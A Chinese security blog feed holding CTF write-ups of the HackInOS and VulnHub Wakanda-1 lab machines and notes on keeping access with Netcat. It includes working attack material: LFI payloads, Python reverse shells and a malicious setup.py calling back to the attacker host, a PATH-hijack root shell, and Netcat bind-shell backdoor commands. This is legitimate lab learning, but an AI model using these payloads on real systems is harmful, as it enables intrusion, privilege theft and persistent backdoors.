但直接输入su root会提示“must be run from a terminal”,所以先用Python伪造一个终端(详情见参考文献2):

python -c "import pty;pty.spawn('/bin/bash');"

然后就可以切换为root用户了。

探索容器

按照惯例,查看/root中的flag,发现是一句提示:

cat /root/flag
Life consists of details..

按这句提示的意思,应该注意细节。所以查看/root中的隐藏文件:

ls -a
.   .bash_history  .mysql_history  .port     .wget-hsts
..  .bashrc    .nano       .profile  flag

仔细查看每个文件的内容,最后发现,唯一值得注意的是.port文件,内容为:

cat .port
Listen to your friends..
7*

这是什么意思呢?Google “Listen to your friends..”发现是一首歌,第七句歌词为:

I bet you only listen to your friends

想了好久也没想出这和我们正在进行的活动有什么关系。

简单总结一下。我们拿到了一个root权限,但是是容器里的root,并不是目标系统真正的root权限。所以下一步自然就是逃逸了。然而我尝试了很多方法都没能成功,一时陷入到僵局中。

回过头来看看有什么遗漏。对了!还有个知道用户名和密码的数据库没有尝试。

先登录数据库看看:

mysql -h db -u wordpress -p wordpress

列出所有的表:

MySQL [wordpress]> show tables;
show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| host_ssh_cred         |
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
13 rows in set (0.00 sec)

意外地看到了一个名为“host_ssh_cred”的表。查看其内容:

MySQL [wordpress]> select * from host_ssh_cred;
select * from host_ssh_cred;
+-------------------+----------------------------------+
| id                | pw                               |
+-------------------+----------------------------------+
| hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e |
+-------------------+----------------------------------+
1 row in set (0.02 sec)

看到了一对用户名和密码,密码应该是某种hash值,数了下长度是32字符,推测是md5值,试了一下果然是,且明文为“123456”,真是个比“john”还弱的密码。

用这个用户名和密码登录目标系统的22端口,登录成功:

root@kali:~# ssh hummingbirdscyber@192.168.1.6
hummingbirdscyber@192.168.1.6's password: 
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.15.0-50-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

119 packages can be updated.
0 updates are security updates.

New release '18.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue May 21 16:56:29 2019 from 192.168.1.5
hummingbirdscyber@vulnvm:~$ 

但显然“hummingbirdscyber”也是一个低权限账户,得再次提权。

再次提权

先看看设置了SUID的可执行文件:

ls -lh $(find / -perm -u=s -type f 2>/dev/null)

看到了十分奇怪的“/home/hummingbirdscyber/Desktop/a.out”。

尝试运行该程序,看到输出为“root”:

看来提权的希望就在于此了。具体要如何做呢?两个思路:

  • 逆向a.out,搞清楚程序具体干了什么
  • 寻找a.out的源文件,搞清楚程序具体干了什么

对这两个思路都进行了尝试,均没有成功。第一个思路失败是因为我不会逆向,第二个思路失败是因为确实不存在源文件。一时又陷入了僵局。

怎么办呢?注意到正常运行该程序输出的是“root”,见上一张图。而在调试时,程序输出的是“hummingbirdscyber”,如下图。这是因为调试程序时SUID没有生效。

这一行为让人联想到命令whoami,进一步猜测a.out内部调用了whoami,于是可以尝试一下命令劫持。

首先写一个自己的whoami命令,内容为运行一个shell:

#include <stdlib.h>
int main(void) {
    system("/bin/bash -p");
    return 0;
}

然后编译它得到可执行文件whoami:

hummingbirdscyber@vulnvm:~$ vi whoami.c 
hummingbirdscyber@vulnvm:~$ gcc -o whoami whoami.c
hummingbirdscyber@vulnvm:~$ chmod +x whoami

接着查看搜索路径:

hummingbirdscyber@vulnvm:~$ echo $PATH
/home/hummingbirdscyber/bin:/home/hummingbirdscyber/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

意外地看到了:

/home/hummingbirdscyber/bin

简直就是为命令劫持大开方便之门。创建bin目录,将我们自己的whoami拷贝进去:

hummingbirdscyber@vulnvm:~$ mkdir bin
hummingbirdscyber@vulnvm:~$ mv whoami bin/
hummingbirdscyber@vulnvm:~$ which whoami
/home/hummingbirdscyber/bin/whoami
hummingbirdscyber@vulnvm:~$

完成命令劫持后再运行a.out,顺利拿到有root权限的shell:

终于看到了真正的flag,是一只蜂鸟的字符画:

后续

利用Docker提权

在hummingbirdscyber权限中输入id可以看到hummingbirdscyber用户属于docker组。

hummingbirdscyber@vulnvm:~$ id
uid=1000(hummingbirdscyber) gid=1000(hummingbirdscyber) groups=1000(hummingbirdscyber),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)

其实有docker权限就能读到/root中的文件了,利用docker run的-v参数,将/root挂载到容器中。

hummingbirdscyber@vulnvm:~$ docker run -it -v /root:/root ubuntu:latest /bin/bash
root@058d84179cfa:/# cat /root/flag 
Congratulations!

Listen to your friends

查看root用户的进程,看到了一个有趣的进程:

root      3396  0.0  0.4  18376  2256 ?        Ss   17:17   0:00 /bin/bash /etc/init.d/port.sh

root运行了/etc/init.d/port.sh,查看这个脚本的内容:

hummingbirdscyber@vulnvm:~$ cat /etc/init.d/port.sh
#!/bin/bash

docker exec brave_edison /etc/init.d/port.sh
hummingbirdscyber@vulnvm:~$

看到实际是在运行容器brave_edison中的/etc/init.d/port.sh。而容器中这个脚本的内容是什么呢?

hummingbirdscyber@vulnvm:~$ docker exec -it brave_edison /bin/bash
root@252fa8cb1646:/# cat /etc/init.d/port.sh 
#!/bin/bash

while [ 1 ];do nc 1afdd1f6b82c 7777 -e /bin/bash;sleep 5;done

“1afdd1f6b82c”是我们最开始成功入侵的运行Web服务的容器主机名。看到这里,终于明白:

Listen to your friends..
7*

的含义了,“7*”是在暗示监听7777端口,在这个端口可以听到朋友的呼唤。

逆向a.out(2019年7月18日补充)

其实只要稍稍尝试一下,就会发现a.out的逆向十分简单,逆向过程和结果如下图所示。

把汇编代码翻译成C语言便是:

#include <unistd.h>
#include <stdlib.h>

int main(){
    setgid(0);
    setuid(0);
    system("whoami");
    return 0;
}

在源代码中看到了setgid和setuid,其作用如下:a.out 这个文件的 suid 标志位和所有者为 root 这两件事使得 a.out 运行时的 euid 时 0 (root);euid 为 0 使得 a.out 运行时程序的权限为 root 权限,但 ruid 仍为 1000 (hummingbirdscyber),这时若直接执行 whoami,输出依旧是 hummingbirdscyber;又因为 euid 为 0 有 root 权限,所有执行 setuid(0) 和 setgid(0) 才能成功,这两句成功执行后 ruid 从 1000 变成了 0,此时再执行 whoami,输出才是root。

参考文献

  1. 《利用文件头标志判断文件类型》
  2. 《将普通shell升级为全交互式终端 》
]]>
https://blog.werner.wiki/penetrate-hackinos/feed/ 4
渗透笔记之Wakanda-1 https://blog.werner.wiki/penetrate-wakanda-1/ https://blog.werner.wiki/penetrate-wakanda-1/#comments Sat, 11 May 2019 14:27:38 +0000 https://blog.werner.wiki/?p=555 背景

Wakanda-1是来自VulnHub的渗透测试靶机, 下载地址为https://www.vulnhub.com/entry/wakanda-1,251/#download ,下载下来的是一个OVA格式的虚拟机,可在VMware或VirtualBox中打开。虚拟机已设置DHCP,可自动获取IP。渗透目标是获取三个flag( flag1.txt, flag2.txt, root.txt )。

本文较为完整地记录了我对其进行渗透的全过程,包括信息收集、Web漏洞利用和提权等。开始时间为2018年12月26日,完成时间为2019年5月11日。之所以花了这么久,不是因为它难度很大,而是因为中途耽搁了很久,真正花费的时间大概是几十个小时。

准备环境

首先下载靶机镜像,得到文件wakanda-1.ova,大小为637M。然后在VirtualBox中打开它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为仅主机网络。在同一虚拟网络中还有一台IP地址是192.168.56.100的Kali Linux(以下简称Kali)作为攻击者。

在Kali中用nmap扫描192.168.56.0/24网段,发现在线IP地址192.168.56.101,在浏览器中访问该IP地址,看到如下图所示的界面,说明环境搭建成功。

振金市场官网首页
振金市场官网首页

前期信息收集

端口扫描

使用Nmap进行端口扫描,命令如下。

nmap –sV –Pn –n -O 192.168.56.101
nmap –sU –sV –n 192.168.56.101

得到目标操作系统为:

Linux Kernel 3.16 on Debian 8.0 (jessie)(Nessus)

端口扫描结果如下表所示。

协议端口状态服务
TCP 80开放 Apache httpd 2.4.10 (Debian)
TCP 111 开放 Rpcbind 2-4
TCP 3333 开放 OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
UDP 68 开放或过滤 dhcpc
UDP 111 开放 Rpcbind 2-4

看到80端口运行着HTTP服务,3333端口运行着SSH服务。

Web信息收集

浏览器扩展Wappalyzer未报告有用信息。

访问http://192.168.56.101/index.html返回404,访问
访问http://192.168.56.101/index.php返回正常页面,说明Web服务使用的脚本语言为php。

观察页面信息,看到下方写着“Made by@mamadou”,获取到一个可能的用户名mamadou。

查看网页源码,看到被注释的一行代码,如下所示。

<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->

访问http://192.168.56.101/index.php?lang=fr返回正常页面,只是页面中有一段英语变为法语。

对Web服务进行路径爆破,结果如下表所示。

路径 状态码 内容 工具
/index.php 200 正常,英文 DirBuster
/index.php?lang=fr 200 正常,法文 查看网页源码
/fr.php 200 DirBuster
/backup 200 nmap vuln脚本
/admin 200 DirBuster
/secret 200 DirBuster
/shell 200 DirBuster
/icons/ 403 Forbidden DirBuster
/icons/README 200 正常 Nikto
/icons/small/ 403 Forbidden DirBuster
/icons/small/text.gif等图标 200 DirBuster
/.ht 403 Forbidden 手工测试
/.htaccess 403 Forbidden 手工测试
/server-status 403 Forbidden dirb

SSH用户枚举

使用Metasploit的scanner/ssh/ssh_enumusers枚举到SSH用户root和mamadou。

漏洞利用

看到“/index.php?lang=fr”且存在文件fr.php故推测存在文件包含漏洞,访问
http://192.168.56.101/index.php?lang=index 返回结果为500,lang等于其他值时返回结果正常。这说明是取lang参数的值并拼接“.php”后包含文件。使用php的filter协议转换编码读取到index.php文件内容。

http://192.168.56.101/index.php?lang=php://filter/read=convert.base64-encode/resource=index

读取到的内容如下所示。

PD9waHAKJHBhc3N3b3JkID0iTmlhbWV5NEV2ZXIyMjchISEiIDsvL0kgaGF2ZSB0byByZW1lbWJlciBpdAoKaWYgKGlzc2V0KCRfR0VUWydsYW5nJ10pKQp7CmluY2x1ZGUoJF9HRVRbJ2xhbmcnXS4iLnBocCIpOwp9Cgo/PgoKCgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlZpYnJhbml1bSBtYXJrZXQiPgogICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJtYW1hZG91Ij4KCiAgICA8dGl0bGU+VmlicmFuaXVtIE1hcmtldDwvdGl0bGU+CgoKICAgIDxsaW5rIGhyZWY9ImJvb3RzdHJhcC5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgCiAgICA8bGluayBocmVmPSJjb3Zlci5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgPC9oZWFkPgoKICA8Ym9keSBjbGFzcz0idGV4dC1jZW50ZXIiPgoKICAgIDxkaXYgY2xhc3M9ImNvdmVyLWNvbnRhaW5lciBkLWZsZXggdy0xMDAgaC0xMDAgcC0zIG14LWF1dG8gZmxleC1jb2x1bW4iPgogICAgICA8aGVhZGVyIGNsYXNzPSJtYXN0aGVhZCBtYi1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8aDMgY2xhc3M9Im1hc3RoZWFkLWJyYW5kIj5WaWJyYW5pdW0gTWFya2V0PC9oMz4KICAgICAgICAgIDxuYXYgY2xhc3M9Im5hdiBuYXYtbWFzdGhlYWQganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiMiPkhvbWU8L2E+CiAgICAgICAgICAgIDwhLS0gPGEgY2xhc3M9Im5hdi1saW5rIGFjdGl2ZSIgaHJlZj0iP2xhbmc9ZnIiPkZyL2E+IC0tPgogICAgICAgICAgPC9uYXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvaGVhZGVyPgoKICAgICAgPG1haW4gcm9sZT0ibWFpbiIgY2xhc3M9ImlubmVyIGNvdmVyIj4KICAgICAgICA8aDEgY2xhc3M9ImNvdmVyLWhlYWRpbmciPkNvbWluZyBzb29uPC9oMT4KICAgICAgICA8cCBjbGFzcz0ibGVhZCI+CiAgICAgICAgICA8P3BocAogICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2xhbmcnXSkpCiAgICAgICAgICB7CiAgICAgICAgICBlY2hvICRtZXNzYWdlOwogICAgICAgICAgfQogICAgICAgICAgZWxzZQogICAgICAgICAgewogICAgICAgICAgICA/PgoKICAgICAgICAgICAgTmV4dCBvcGVuaW5nIG9mIHRoZSBsYXJnZXN0IHZpYnJhbml1bSBtYXJrZXQuIFRoZSBwcm9kdWN0cyBjb21lIGRpcmVjdGx5IGZyb20gdGhlIHdha2FuZGEuIHN0YXkgdHVuZWQhCiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICB9Cj8+CiAgICAgICAgPC9wPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgIDxhIGhyZWY9IiMiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1zZWNvbmRhcnkiPkxlYXJuIG1vcmU8L2E+CiAgICAgICAgPC9wPgogICAgICA8L21haW4+CgogICAgICA8Zm9vdGVyIGNsYXNzPSJtYXN0Zm9vdCBtdC1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8cD5NYWRlIGJ5PGEgaHJlZj0iIyI+QG1hbWFkb3U8L2E+PC9wPgogICAgICAgIDwvZGl2PgogICAgICA8L2Zvb3Rlcj4KICAgIDwvZGl2PgoKCgogIAoKPC9ib2R5PjwvaHRtbD4=

解码得到index.php源码,如下所示。

<?php

$password ="Niamey4Ever227!!!" ;//I have to remember it

 

if (isset($_GET['lang']))

{

include($_GET['lang'].".php");

}

 

?>

 

 

 

<!DOCTYPE html>

<html lang="en"><head>

<meta http-equiv="content-type" content="text/html; charset=UTF-8">

    <meta charset="utf-8">

    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <meta name="description" content="Vibranium market">

    <meta name="author" content="mamadou">

 

    <title>Vibranium Market</title>

 

 

    <link href="bootstrap.css" rel="stylesheet">

 

   

    <link href="cover.css" rel="stylesheet">

  </head>

 

  <body class="text-center">

 

    <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">

      <header class="masthead mb-auto">

        <div class="inner">

          <h3 class="masthead-brand">Vibranium Market</h3>

          <nav class="nav nav-masthead justify-content-center">

            <a class="nav-link active" href="#">Home</a>

            <!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->

          </nav>

        </div>

      </header>

 

      <main role="main" class="inner cover">

        <h1 class="cover-heading">Coming soon</h1>

        <p class="lead">

          <?php

            if (isset($_GET['lang']))

          {

          echo $message;

          }

          else

          {

            ?>

 

            Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!

            <?php

          }

?>

        </p>

        <p class="lead">

          <a href="#" class="btn btn-lg btn-secondary">Learn more</a>

        </p>

      </main>

 

      <footer class="mastfoot mt-auto">

        <div class="inner">

          <p>Made by<a href="#">@mamadou</a></p>

        </div>

      </footer>

    </div>

 

 

 

 

 

</body></html>

在源码注释中我们得到了一个密码“Niamey4Ever227!!!”。 尝试用此密码登录目标SSH服务,以root登录失败,以mamadou登录成功,注意SSH服务器端口不是默认的22,而是3333。但登录后直接进入了Python shell,如下图所示。

以mamadou登录目标
以mamadou登录目标

中期信息收集

在Python shell中执行以下命令以获得Bash shell。

import os
os.system("/bin/bash")
获得Bash shell
获得Bash shell

查看用户目录中文件,看到文件flag1.txt,获得到第一个flag,如下图所示。

拿到flag1
拿到flag1

查看内核版本:

mamadou@Wakanda1:/etc$ uname -r
3.16.0-6-amd64

是个较老的内容,3.16.0-6,64位的。

看看当前用户是否有sudo权限:

mamadou@Wakanda1:~$ sudo -l
[sudo] password for mamadou:
Sorry, user mamadou may not run sudo on Wakanda1.

发现没有sudo权限。

查看Web目录下文件:

mamadou@Wakanda1:/var/www/html$ ls -lh

total 4.5M

-rw-r--r-- 1 root root    0 Aug  1 16:50 admin
-rw-r--r-- 1 root root    0 Aug  1 16:50 backup
-rw-r--r-- 1 root root 4.4M Aug  1 14:26 bg.jpg
-rw-r--r-- 1 root root 138K Aug  1 14:07 bootstrap.css
-rw-r--r-- 1 root root 1.5K Aug  1 14:29 cover.css
-rw-r--r-- 1 root root  141 Aug  1 16:45 fr.php
-rw-r--r-- 1 root root    0 Aug  1 16:50 hahaha
-rw-r--r-- 1 root root    0 Aug  1 16:51 hohoho
-rw-r--r-- 1 root root 1.8K Aug  1 16:44 index.php
-rw-r--r-- 1 root root    0 Aug  1 16:50 secret
-rw-r--r-- 1 root root   40 Aug  1 16:51 secret.txt
-rw-r--r-- 1 root root    0 Aug  1 16:50 shell
-rw-r--r-- 1 root root    0 Aug  1 16:50 troll

原来admin、backup等文件原本就是空的。 secret.txt 是目录爆破中没能发现的文件。查看secret.txt的内容:

mamadou@Wakanda1:/var/www/html$ cat secret.txt
Congratulations!

Nope!I am joking....

看来只是个烟雾弹。

读取/etc/passed:

mamadou@Wakanda1:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
avahi-autoipd:x:107:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
mamadou:x:1000:1000:Mamadou,,,,Developper:/home/mamadou:/usr/bin/python
devops:x:1001:1002:,,,:/home/devops:/bin/bash

看到有一个名为devops的用户。查看该用户目录下文件:

mamadou@Wakanda1:~$ ls /home/devops
flag2.txt

找到了flag2.txt。尝试读取其内容:

mamadou@Wakanda1:~$ cat /home/devops/flag2.txt
cat: /home/devops/flag2.txt: Permission denied

但没有权限。

列出有SUID标志的文件:

mamadou@Wakanda1:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/at
/usr/bin/procmail
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/gpasswd
/usr/sbin/exim4
/bin/mount
/bin/su
/bin/umount
/sbin/mount.nfs

也没有什么可以利用的。

查看定时任务:

mamadou@Wakanda1:~$ crontab -l
no crontab for mamadou

没有定时任务。

权限提升

现在我们已经找到了flag1.txt,并成功读取了其中内容。也找到了flag2.txt,但由于没有权限未能读取到其中内容。最后一个flag在文件root.txt中,根据文件名推测应该是拿到root权限后才能找到或查看这个文件。所以现在需要提升权限。

以知内核版本为3.16.0-6-amd64,查阅资料可知这个版本Linux内核具有本地提取漏洞CVE-2015-1328,找到其攻击代码,上传至目标主机编译运行,但提权失败,原因不明。

也没有可以利用的设置了SUID标志的可执行文件。提权一时陷入困境。

后来发现/tmp目录中有一个名为test的文件,其所有者为devops,文件的修改时间很新,进一步观察发现每5分钟文件修改时间就会更新一次。这说明有一个定时任务在修改这个文件。尝试找出这个定时任务:

mamadou@Wakanda1:/$ grep -r '/tmp/test' * 2>/dev/null
Binary file proc/1284/task/1284/cmdline matches
Binary file proc/1284/cmdline matches
srv/.antivirus.py:open('/tmp/test','w').write('test')
usr/lib/python2.7/dist-packages/setuptools/tests/test_packageindex.py:        url = 'file:///tmp/test_package_index'
Binary file usr/lib/python2.7/dist-packages/setuptools/tests/test_packageindex.pyc matches

发现了文件/srv/.antivirus.py,其内容只有一行,便是将字符串“test”写到文件/tmp/test中。应该是有一个定时任务在以5分钟一次的频率执行/srv/.antivirus.py 。查看/srv/.antivirus.py的属性:

mamadou@Wakanda1:~$ ls -lh /srv/.antivirus.py
-rw-r--rw- 1 devops developer 219 Jan  4 10:45 /srv/.antivirus.py

看到 /srv/.antivirus.py 的所有者为devops,但其他组的用户也可以写这个文件。于是修改该文件内容为:

with open('/home/devops/flag2.txt', 'r') as f:
    open('/tmp/flag2.txt', 'w').write(f.read())

5分钟后,在临时目录中出现了文件flag2.txt,查看该文件内容:

mamadou@Wakanda1:~$ cat /tmp/flag2.txt
Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098
拿到flag2

成功拿到flag2。

修改/srv/.antivirus.py内容为:

import os
open('/tmp/d.sh', 'w').write("/bin/bash")
os.system("chmod 7777 /tmp/d.sh")

5分钟后,在临时目录中出现了文件d.sh,查看其属性:

mamadou@Wakanda1:/tmp$ ls -lh d.sh
-rwsrwsrwt 1 devops  developer    9 Jan  2 20:25 d.sh

看到它被设置了SUID标志位。但运行d.sh发现并没有获得devops的权限,查阅资料后得知对bash脚本文件的SUID标志位是无效的。

于是修改/srv/.antivirus.py内容为:

import os
os.system("cp /bin/bash /tmp/dbash")
os.system("chmod 6775 /tmp/dbash")

5分钟后,在临时目录中出现了文件dbash,查看其属性:

mamadou@Wakanda1:~$ ls -lh /tmp/dbash
-rwsrwsr-x 1 devops developer 1006K Jan  3 09:01 /tmp/dbash

已经设置了SUID,然后执行它,注意一定要添加-p参数:

mamadou@Wakanda1:~$ /tmp/dbash -p
dbash-4.3$ whoami
devops
dbash-4.3$ id
uid=1000(mamadou) gid=1000(mamadou) euid=1001(devops) egid=1002(developer) groups=1002(developer),1000(mamadou)
dbash-4.3$

现在我们获得了devops权限。关于-p参数的作用,在man bash中找到这样的一段话:

If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are  read, shell  functions  are  not  inherited  from  the  environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id.  If the -p option is supplied at invocation, the startup behavior is the same, but the  effective user id is not reset.

查看devops是否有sudo权限:

dbash-4.3$ sudo -l
[sudo] password for mamadou:
Sorry, user mamadou may not run sudo on Wakanda1.

发现还是让输入mamdou的密码,查询结果也是mamadou没有sudo权限,并没有查到devops的sudo权限。这是因为uid还是1000(mamadou) 。

我们需要一个uid1001(devops)的shell,修改/srv/.antivirus.py为一个反弹shell,内容如下:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.100",14575))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

在Kali上监听14575端口:

root@kali:~# nc -l -p 14575

几分钟后,获取到了一个反弹shell。

root@kali:~# nc -l -p 14575
/bin/sh: 0: can't access tty; job control turned off
$

在这个shell里查询devops的sudo权限,如下所示:

$ sudo -l
Matching Defaults entries for devops on Wakanda1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User devops may run the following commands on Wakanda1:
    (ALL) NOPASSWD: /usr/bin/pip

看到可以以root权限运行pip。现考虑用pip来获取root权限。多方查找,搜索到了一篇相关文章 《sudo pip install privesc》 。根据这篇文章,首先创建一个恶意的setup.py文件,内容为:

from setuptools import setup
from setuptools.command.install import install
import os,socket,subprocess


class CustomInstall(install):

    def run(self):
        install.run(self)
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("192.168.56.100",14580))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        p=subprocess.call(["/bin/sh","-i"])


setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      url='https://github.com/werneror',
      author='Werner',
      author_email='me@werner.wiki',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

其作用同样是创建一个反弹shell。先在Kali上监听14580端口:

root@kali:~# nc -l -p 14580

然后执行:

$ sudo pip install . --upgrade --force-reinstall

输出为:

$ sudo pip install . --upgrade --force-reinstall
Unpacking /tmp/pip2
  Running setup.py (path:/tmp/pip-CarpRr-build/setup.py) egg_info for package from file:///tmp/pip2

Installing collected packages: FakePip
  Found existing installation: FakePip 0.0.1
    Uninstalling FakePip:
      Successfully uninstalled FakePip
  Running setup.py install for FakePip

程序并没有运行完毕,在创建反弹连接处阻塞了。 在Kali上查看发现反弹连接成功连接,而且是root权限:

root@kali:~# nc -l -p 14580
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

在root目录中找到了最后一个flag:

# cd /root
# ls
root.txt
# cat root.txt
 _    _.--.____.--._
( )=.-":;:;:;;':;:;:;"-._
 \\\:;:;:;:;:;;:;::;:;:;:\
  \\\:;:;:;:;:;;:;:;:;:;:;\
   \\\:;::;:;:;:;:;::;:;:;:\
    \\\:;:;:;:;:;;:;::;:;:;:\
     \\\:;::;:;:;:;:;::;:;:;:\
      \\\;;:;:_:--:_:_:--:_;:;\
       \\\_.-"             "-._\
        \\
         \\
          \\
           \\ Wakanda 1 - by @xMagass
            \\
             \\


Congratulations You are Root!

821ae63dbe0c573eff8b69d451fb21bc
flag3
拿到flag3

总结

文件包含漏洞那一步是我看了答案才知道的。在信息收集的步骤中,我知道“/index.php?lang=fr”有值为fr的参数lang,也知道存在文件fr.php。但是却一点也没想到文件包含漏洞。反思其原因,一方面是因为我对文件包含漏洞很陌生,另一方面是因为我没有用php开发过网站,也缺乏阅读相关代码的经验。一直觉得后端代码是:

if lang eq fr then
    echo fr
else
    echo en
endif

所以更多考虑的是注入。做渗透真的是要清楚计算机世界的方方面面,浅尝辄止的了解是不够的。同时也需要经验。

在进行渗透的时候要非常有耐心,不断尝试各种可能的入侵方式,不断失败,仍不放弃。

]]>
https://blog.werner.wiki/penetrate-wakanda-1/feed/ 13
密码保护:一个教科书式的注入漏洞 https://blog.werner.wiki/a-typical-injection-vulnerability/ https://blog.werner.wiki/a-typical-injection-vulnerability/#respond Sat, 08 Dec 2018 05:15:16 +0000 https://blog.werner.wiki/?p=451

此内容受密码保护。如需查看请在下方输入访问密码:

]]>
https://blog.werner.wiki/a-typical-injection-vulnerability/feed/ 0
渗透测试实践-维持访问 https://blog.werner.wiki/penetration-testing-practice-maintaining-access/ https://blog.werner.wiki/penetration-testing-practice-maintaining-access/#respond Wed, 27 Dec 2017 10:49:18 +0000 http://blog.werner.wiki/?p=397

本文是我阅读《渗透测试实践指南·第七章·维持访问》所做的笔记。

零、开始

  • 很多的漏洞利用都是暂时的
  • 后门是一个驻留在目标计算机上的软件,它使得攻击者随时返回(或连接)到目标计算机上
  • 现代攻击者对于长期甚至永久地访问目标系统和网络更感兴趣

一、Netcat:瑞士军刀

  • Netcat是一个允许通讯和流量从一台计算机流向另一台计算机的工具
  • Netcat既可以以服务器模式运行,也可以以客户端模式运行
  • 支持TCP和UDP协议,默认使用TCP,参数-u指定使用UDP
  • 监听TCP的1337端口:nc -l -p 1337(仅支持一个TCP连接)
  • 连接TCP的1337端口:nc 192.168.56.2 1337
  • 监听TCP的7777端口并将接受数据写入文件:nc -l -p 7777 > virus.exe
  • 连接TCP的7777端口并通过Netcat上传文件:nc 192.168.56.2 7777 < virus.exe
  • 绑定一个shell作为后门(linux):nc -l -p 12345 -e /bin/sh
  • 绑定一个shell作为后门(Windows):nc -L -p 12345 -e C:\Windows\System32\cmd.exe

二、Cryptcat:加密版Netcat

  • Netcat所有网络流量都是明文,易被嗅探
  • Cryptcat和Netcat命令几乎完全相同
  • Cryptcat使用twofish加密算法(这是个对称算法)
